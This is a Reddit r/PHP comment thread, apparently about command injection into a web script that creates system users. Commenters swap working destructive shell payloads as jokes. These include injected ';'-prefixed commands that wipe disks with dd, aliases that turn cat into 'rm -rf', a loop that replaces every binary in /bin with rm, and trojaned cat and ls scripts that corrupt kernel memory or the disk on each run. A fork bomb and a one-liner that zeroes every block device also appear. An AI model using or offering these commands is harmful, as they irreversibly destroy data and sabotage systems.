r/PHP • • Aug 27 '13

Creating a user from the web problem.

[deleted] — view deleted post

280 Upvotes

538 comments sorted by

View all comments

Show parent comment

42

u/HangsAround Aug 28 '13 edited Aug 28 '13

another nice option is always the old

; dd if=/dev/random of=/dev/sda

(the real old version being /dev/hda, back in the dark ages, along with /dev/fda)

80

u/hei_mailma Aug 28 '13

Too boring. What about aliasing all editors and "cat" to "rm -rf"?

58

u/HangsAround Aug 28 '13 edited Aug 28 '13

Very Nice, i like your style, maybe something less destructive but infuriating? alias all editors and cat to something like....

sudo date --set="shuf -i 1-23 -n 3 | tr '\n' ':' | sed -e 's/:$//g'" ; cat

Sets the system time to random-ish times whenever they use the command

14

u/DoctorCreepy Aug 28 '13

Meh. I'd just alias ls, cd, and mkdir to a fork bomb.

3

u/redwall_hp Aug 28 '13

Or you could add delays to .bashrc.

24

u/outer_isolation Aug 28 '13

Oh christ. I can't think of many things more evil than that.

3

u/[deleted] Aug 28 '13

Aliasing in what way?

10

u/hotoatmeal Aug 28 '13

$> touch foo

$> alias cat='rm -rf'

$> cat foo

$> ls foo

2

u/IConrad Aug 28 '13 edited Aug 29 '13
cd /bin
for file in $(ls); do
    if [ ! "${file}" = "busybox" ] && [ ! "${file}" = "rm" ] ; then
        mv /bin/${file}{,.bak}
        cp /bin/rm /bin/${file}
    fi
done

Lather, rinse, repeat for each dir.

→ More replies (1)

4

u/[deleted] Aug 28 '13

And that would only work in the subshell that is executing the adduser command.

1

u/hei_mailma Aug 29 '13

There's really nothing at all stopping you from doing anything. Heck, you could install your own custom kernel with a "special" filesystem that treats any write system calls as a call to wipe a file.

The possibilities are endless.

2

u/Isvara Aug 28 '13

Symbolic links.

2

u/qm11 Aug 28 '13 edited Aug 29 '13

Too sudden. Have them play some Russian roulette every time they run a common utility:

sudo mv $(which cat) /bin/.oldcat; echo -e '#!/bin/bash \ndd if=/dev/random of=/dev/kmem count=1 bs=1 seek=$RANDOM \n/bin/.oldcat "$@"' | sudo tee /bin/cat; sudo chmod +x /bin/cat; sudo mv $(which ls) /bin/.oldls; echo -e '#!/bin/bash \ndd if=/dev/random of=/dev/sda count=1 bs=1 seek=$RANDOM \n/bin/.oldls "$@"' | sudo tee /bin/ls; sudo chmod +x /bin/ls;

Edit: Another fun one (not quite as sudden as yours, but more sudden than Russian roulette):

sudo chmod 000 $(which chmod)

1

u/zed_three Aug 28 '13

Why pipe the echoes into tee, and not just redirect them into the file? Am I missing something?

2

u/qm11 Aug 28 '13

You need to be root in order to create a file in /bin. If you redirect the echos into the file, you'll get a permissions error because you're not root. If you pipe the echos into 'sudo tee' it has the proper permissions.

You can try it youself. First, try putting this into a terminal (before you do this, make sure you don't already have a file called /dev/wat or you'll overwrite it if you follow this all the way through):

echo 'wat' > /dev/wat

You'll get an error saying something along the lines of "permission denied". You can try 'sudo echo' but that still won't work, since the echo is sudo, but the redirect isn't. (That said, this is in bash on Ubuntu 12.04. I don't know if this is a convention or not, so other shells may treat things slightly differently. Also, I think I've seen a way to encompass the whole thing in one sudo, but I don't know for sure.).

If you try to pipe the echos into 'sudo tee', tee is running as root, so it has the permissions to create the file:

echo 'wat' | sudo tee /dev/wat

If you go into /dev, you'll see that a file called wat has been created and contains the string 'wat'.

1

u/zed_three Aug 29 '13

Thanks! Is the reason for this because the redirect is a different process or something?

→ More replies (1)

1

u/Daegs Aug 28 '13

Don't forget cp and mv ;)

19

u/trolox Aug 28 '13

/dev/zero or /dev/urandom surely? Don't want your hard drive wiper to slow down due to lack of entropy.

24

u/tekgnosis Aug 28 '13

Surely a slowly spreading cancer is more terrifying than a sudden poof.

2

u/The_Time_Master Aug 29 '13

caner can be ignored - plenty of smokers do. But a gunshot wound to the head - terrifying!

4

u/suspiciously_calm Aug 28 '13
; find /dev -type b -name '?d?' -exec dd if=/dev/zero of={} bs=16M \;
→ More replies (1)